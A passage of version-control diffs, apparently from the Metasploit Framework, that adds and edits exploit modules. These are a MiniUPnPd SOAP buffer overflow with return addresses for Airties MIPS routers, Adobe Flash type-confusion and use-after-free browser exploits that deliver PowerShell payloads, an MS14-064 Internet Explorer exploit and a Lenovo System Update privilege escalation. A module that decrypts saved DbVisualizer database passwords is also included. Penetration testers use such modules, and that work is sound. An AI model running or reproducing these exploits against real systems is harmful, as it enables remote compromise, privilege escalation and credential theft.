'SOAP-ENV:Envelope',
{
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
})
xml.root.add_element('SOAP-ENV:Body')
body = xml.root.elements[1]
body.add_element(
'm:AddPortMapping',
{
'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
})
port_mapping = body.elements[1]
port_mapping.add_element('NewLeaseDuration')
port_mapping.add_element('NewInternalClient')
port_mapping.add_element('NewEnabled')
port_mapping.add_element('NewExternalPort')
port_mapping.add_element('NewRemoteHost')
port_mapping.add_element('NewProtocol')
port_mapping.add_element('NewInternalPort')
port_mapping.elements['NewLeaseDuration'].text = ''
port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
port_mapping.elements['NewEnabled'].text = '1'
port_mapping.elements['NewExternalPort'].text = "#{new_external_port}"
port_mapping.elements['NewRemoteHost'].text = ''
port_mapping.elements['NewProtocol'].text = 'TCP'
port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}"
xml.to_s
end
end

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'MIPS Big Endian', # unknown if there are big endian devices out there
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS
'Arch' => ARCH_MIPSBE
}
]
],

View File

@ -7,6 +7,8 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
Rank = NormalRanking
def initialize(info = {})
@ -19,20 +21,14 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'hdm', # Vulnerability discovery
'Dejan Lukan' # Metasploit module
'Dejan Lukan', # Metasploit module, debian target
'Onur ALANBEL', # Expliot for Airties target
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'EXITFUNC' => 'process', },
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22",
'DisableNops' => true
},
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_MIPSBE],
'References' =>
[
[ 'CVE', '2013-0230' ],
@ -40,14 +36,39 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'BID', '57608' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
],
'Targets' =>
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
{
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123,
'Arch' => ARCH_X86,
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22"
},
:callback => :target_debian
}
],
[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
{
'Offset' => 2048,
'LibcBase' => 0x2aabd000,
'System' => 0x00031AC0,
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
'Arch' => ARCH_MIPSBE,
:callback => :target_airties
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
@ -57,9 +78,40 @@ class Metasploit3 < Msf::Exploit::Remote
register_options([
Opt::RPORT(5555),
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/'
})
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
fingerprints = targets.collect { |t| t['Fingerprint'] }
fingerprints.delete(nil)
if res && fingerprints.include?(res.headers['Server'])
vprint_status("Fingerprint: #{res.headers['Server']}")
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Unknown
end
def exploit
unless self.respond_to?(target[:callback])
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
end
self.send(target[:callback])
end
def target_debian
#
# Build the SOAP Exploit
#
@ -108,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
#
# Build and send the HTTP request
#
print_status("Sending exploit to victim #{target.name} at ...")
print_status("Sending exploit to victim #{target.name}...")
send_request_cgi({
'method' => 'POST',
'uri' => "/",
@ -121,4 +173,53 @@ class Metasploit3 < Msf::Exploit::Remote
# disconnect from the server
disconnect
end
def target_airties
print_status("Sending exploit to victim #{target.name}...")
execute_cmdstager(
:flavor => :echo
)
end
def execute_command(cmd, opts)
# Build the SOAP Exploit
# a valid action
sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
sploit << rand_text_alpha_upper(24) # $s1 - $s6
sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
# 0001CC94 addiu $a0, $sp, 0x18
# 0001CC98 move $t9, $s0
# 0001CC9C jalr $t9
# 0001CCA0 li $a1, 1
sploit << rand_text_alpha_upper(24) #filler
sploit << cmd
# data sent in the POST body
data =
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
"<SOAP-ENV:Envelope\r\n" +
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
">\r\n" +
"<SOAP-ENV:Body>\r\n" +
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
"</ns1:action>\r\n" +
"</SOAP-ENV:Body>\r\n" +
"</SOAP-ENV:Envelope>\r\n"
send_request_cgi({
'method' => 'POST',
'uri' => '/',
'headers' =>
{
'SOAPAction' => sploit,
},
'data' => data
})
end
end

View File

@ -0,0 +1,168 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player NetConnection Type Confusion',
'Description' => %q{
This module exploits a type confusion vulnerability in the NetConnection class on
Adobe Flash Player. When using a correct memory layout this vulnerability allows
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
vectors, and finally accomplish remote code execution. This module has been tested
successfully on:
* Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305
* Linux Mint "Rebecca" (32 bits), and Ubuntu 14.04.2 LTS with Firefox 33.0 and
Adobe Flash 11.2.202.404.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0336'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'unix'],
'Arch' => [ARCH_X86, ARCH_CMD],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.442')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
@trigger = create_trigger
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
if target.name =~ /Windows/
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
platform_id = 'win'
elsif target.name =~ /Linux/
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'linux'
end
trigger_hex_stream = @trigger.unpack('H*')[0]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
def create_trigger
if target.name =~ /Linux/
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger_linux.swf')
else
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
end
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -0,0 +1,150 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
'Description' => %q{
This module exploits a use after free vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
to uncompress() a malformed byte stream. This module has been tested successfully
on:
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235.
* Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Flash 11.2.202.404.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0311'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'unix'],
'Arch' => [ARCH_X86, ARCH_CMD],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 28 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
if target.name =~ /Windows/
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
platform_id = 'win'
elsif target.name =~ /Linux/
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -17,12 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
This function is called in each script located into /admicp/ directory to
make sure the user has admin rights, but this is a broken authorization
schema due to the header() function doesn't stop the execution flow. This
can be exploited by malicious users to execute admin functionality resulting
for e.g. in execution of arbitrary PHP code leveraging of plugins.php
functionality.
This function is called in each script located in the /admicp/ directory to
make sure the user has admin rights. This is a broken authorization schema
because the header() function doesn't stop the execution flow.
This can be exploited by malicious users to execute admin functionality,
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
},
'License' => MSF_LICENSE,
'Author' =>

View File

@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
Slider Revolution (RevSlider) plugin, versions 3.0.95 and prior. The
vulnerability allows for arbitrary file upload and remote code execution.
This module exploits an arbitrary PHP code upload vulnerability in the
WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95
and prior. The vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Module::Deprecated
deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion')
def initialize(info={})
super(update_info(info,

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Module::Deprecated
deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf')
def initialize(info={})
super(update_info(info,

View File

@ -19,8 +19,9 @@ class Metasploit4 < Msf::Exploit::Remote
'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
'Description' => %q{
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
Windows 10, and there is no patch for Windows XP or older.
The vulnerability is known to affect Internet Explorer 3.0 until version 11 within
Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will
only target Windows XP and Windows 7 box due to the Powershell limitation.
Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
newer Windows systems, the exploit will try using Powershell instead.
@ -56,9 +57,9 @@ class Metasploit4 < Msf::Exploit::Remote
}
],
[
'Other Windows x86',
'Windows 7',
{
'os_name' => OperatingSystems::Match::WINDOWS,
'os_name' => OperatingSystems::Match::WINDOWS_7
}
]
],
@ -84,6 +85,7 @@ class Metasploit4 < Msf::Exploit::Remote
register_options(
[
OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false])
], self.class )
end
@ -358,6 +360,11 @@ end function
end
def on_request_exploit(cli, request, target_info)
if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt']
send_not_found(cli)
return
end
case request.uri
when /\.gif/
if get_target.name =~ OperatingSystems::Match::WINDOWS_XP

View File

@ -43,7 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => /MSIE|KXCLIE/i
:ua_name => /MSIE|KXCLIE/i,
:activex => [
{
clsid: '{1A90B808-6EEF-40FF-A94C-D7C43C847A9F}',
method: 'ProjectURL'
}
],
},
'Payload' =>
{

View File

@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
], self.class)
end

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
# The USERNAME and PASSWORD are registered again to make them more obvious they're
# configurable.
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
], self.class)
end

View File

@ -0,0 +1,193 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Local
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
Rank = ExcellentRanking
def initialize(info={})
super(update_info(info, {
'Name' => 'Lenovo System Update Privilege Escalation',
'Description' => %q{
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
System update service. The service provides the possibility to execute arbitrary
commands as SYSTEM if a valid security token is provided. This token can be generated
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
System Update is stopped by default but can be started/stopped calling the Executable
ConfigService.exe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Micahel Milvich', # vulnerability discovery, advisory
'Sofiane Talmat', # vulnerability discovery, advisory
'h0ng10' # Metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
['OSVDB', '121522'],
['CVE', '2015-2219'],
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
],
'DisclosureDate' => 'Apr 12 2015',
'DefaultTarget' => 0
}))
register_options([
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
], self.class)
end
def check
os = sysinfo['OS']
unless os =~ /windows/i
return Exploit::CheckCode::Safe
end
svc = service_info('SUService')
if svc && svc[:display] =~ /System Update/
vprint_good("Found service '#{svc[:display]}'")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def write_named_pipe(pipe, command)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
handle = r['return']
if handle == invalid_handle_value
fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
else
vprint_good("Opended #{pipe}! Proceeding...")
end
begin
# First, write the string length as Int32 value
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
# Then we send the real command
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
ensure
session.railgun.kernel32.CloseHandle(handle)
end
true
end
def get_security_token(lenovo_directory)
unless client.railgun.get_dll('tvsutil')
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
end
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
dll_response['systeminfo'][0,40]
end
def config_service(lenovo_directory, option)
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
end
def exploit
if is_system?
fail_with(Failure::NoTarget, 'Session is already elevated')
end
su_directory = service_info('SUService')[:path][1..-16]
print_status('Starting service via ConfigService.exe')
config_service(su_directory, 'start')
print_status('Giving the service some time to start...')
Rex.sleep(datastore['Sleep'])
print_status("Getting security token...")
token = get_security_token(su_directory)
vprint_good("Security token is: #{token}")
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
temp_dir = get_env('TEMP')
else
temp_dir = datastore['WritableDir']
end
print_status("Using #{temp_dir} to drop the payload")
begin
cd(temp_dir)
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
end
print_status('Writing malicious exe to remote filesystem')
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
begin
write_file(exe_name, generate_payload_exe)
register_file_for_cleanup("#{write_path}\\#{exe_name}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
end
print_status('Sending Execute command to update service')
begin
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
unless write_res
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
print_status('Stopping service via ConfigService.exe')
config_service(su_directory, 'stop')
end
end

View File

@ -5,6 +5,8 @@
require 'msf/core'
require 'msf/core/auxiliary/report'
require 'openssl'
require 'digest/md5'
class Metasploit3 < Msf::Post
@ -17,25 +19,29 @@ class Metasploit3 < Msf::Post
'Name' => 'Multi Gather DbVisualizer Connections Settings',
'Description' => %q{
DbVisualizer stores the user database configuration in dbvis.xml.
This module retrieves the connections settings from this file.
This module retrieves the connections settings from this file and decrypts the encrypted passwords.
},
'License' => MSF_LICENSE,
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
'Platform' => %w{ linux win },
'SessionTypes' => [ 'meterpreter', 'shell']
))
register_options(
[
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
], super.class)
end
def run
oldversion = false
case session.platform
when /linux/
user = session.shell_command("whoami").chomp
user = session.shell_command('whoami').chomp
print_status("Current user is #{user}")
if (user =~ /root/)
if user =~ /root/
user_base = "/root/"
else
user_base = "/home/#{user}/"
@ -50,11 +56,10 @@ class Metasploit3 < Msf::Post
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
end
unless file?(dbvis_file)
# File not found, we next try with the old config path
print_status("File not found: #{dbvis_file}")
print_status("This could be an older version of dbvis, trying old path")
print_status('This could be an older version of dbvis, trying old path')
case session.platform
when /linux/
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
@ -68,7 +73,6 @@ class Metasploit3 < Msf::Post
oldversion = true
end
print_status("Reading: #{dbvis_file}")
print_line()
raw_xml = ""
@ -89,20 +93,14 @@ class Metasploit3 < Msf::Post
end
if db_table.rows.empty?
print_status("No database settings found")
print_status('No database settings found')
else
print_line("\n")
print_line
print_line(db_table.to_s)
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
print_line()
# store found databases
p = store_loot(
"dbvis.databases",
"text/csv",
session,
db_table.to_csv,
"dbvis_databases.txt",
"dbvis databases")
# Store found databases in loot
p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
print_good("Databases settings stored in: #{p.to_s}")
end
@ -111,12 +109,11 @@ class Metasploit3 < Msf::Post
print_good "dbvis.xml saved to #{p.to_s}"
end
# New config file parse function
def parse_new_config_file(raw_xml)
db_table = Rex::Ui::Text::Table.new(
'Header' => "Dbvis Databases",
'Header' => "DbVisualizer Databases",
'Indent' => 2,
'Columns' =>
[
@ -126,18 +123,19 @@ class Metasploit3 < Msf::Post
"Port",
"Database",
"Namespace",
"Userid",
"UserID",
"Password"
])
dbs = []
db = {}
dbfound = false
versionFound = false
version_found = false
# fetch config file
raw_xml.each_line do |line|
if versionFound == false
vesrionFound = find_version(line)
if version_found == false
version_found = find_version(line)
end
if line =~ /<Database id=/
@ -157,37 +155,43 @@ class Metasploit3 < Msf::Post
if dbfound == true
# get the alias
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
db[:Alias] = $1
end
# get the type
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
db[:Type] = $1
end
# get the user
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
db[:Userid] = $1
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
db[:UserID] = $1
end
# get user password
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
enc_password = $1
db[:Password] = decrypt_password(enc_password)
end
# get the server
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
if line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i
db[:Server] = $1
end
# get the port
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
if line =~ /<UrlVariable UrlVariableName="Port">([\S+\s+]+)<\/UrlVariable>/i
db[:Port] = $1
end
# get the database
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
if line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i
db[:Database] = $1
end
# get the Namespace
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
if line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i
db[:Namespace] = $1
end
end
@ -196,40 +200,40 @@ class Metasploit3 < Msf::Post
# Fill the tab and report eligible servers
dbs.each do |db|
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
print_good("Reporting #{db[:Server]} ")
print_good("Reporting #{db[:Server]}")
report_host(:host => db[:Server]);
end
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
end
return db_table
end
# New config file parse function
def parse_old_config_file(raw_xml)
db_table = Rex::Ui::Text::Table.new(
'Header' => "Dbvis Databases",
'Header' => 'DbVisualizer Databases',
'Indent' => 2,
'Columns' =>
[
"Alias",
"Type",
"Url",
"Userid",
'Alias',
'Type',
'URL',
'UserID',
'Password'
])
dbs = []
db = {}
dbfound = false
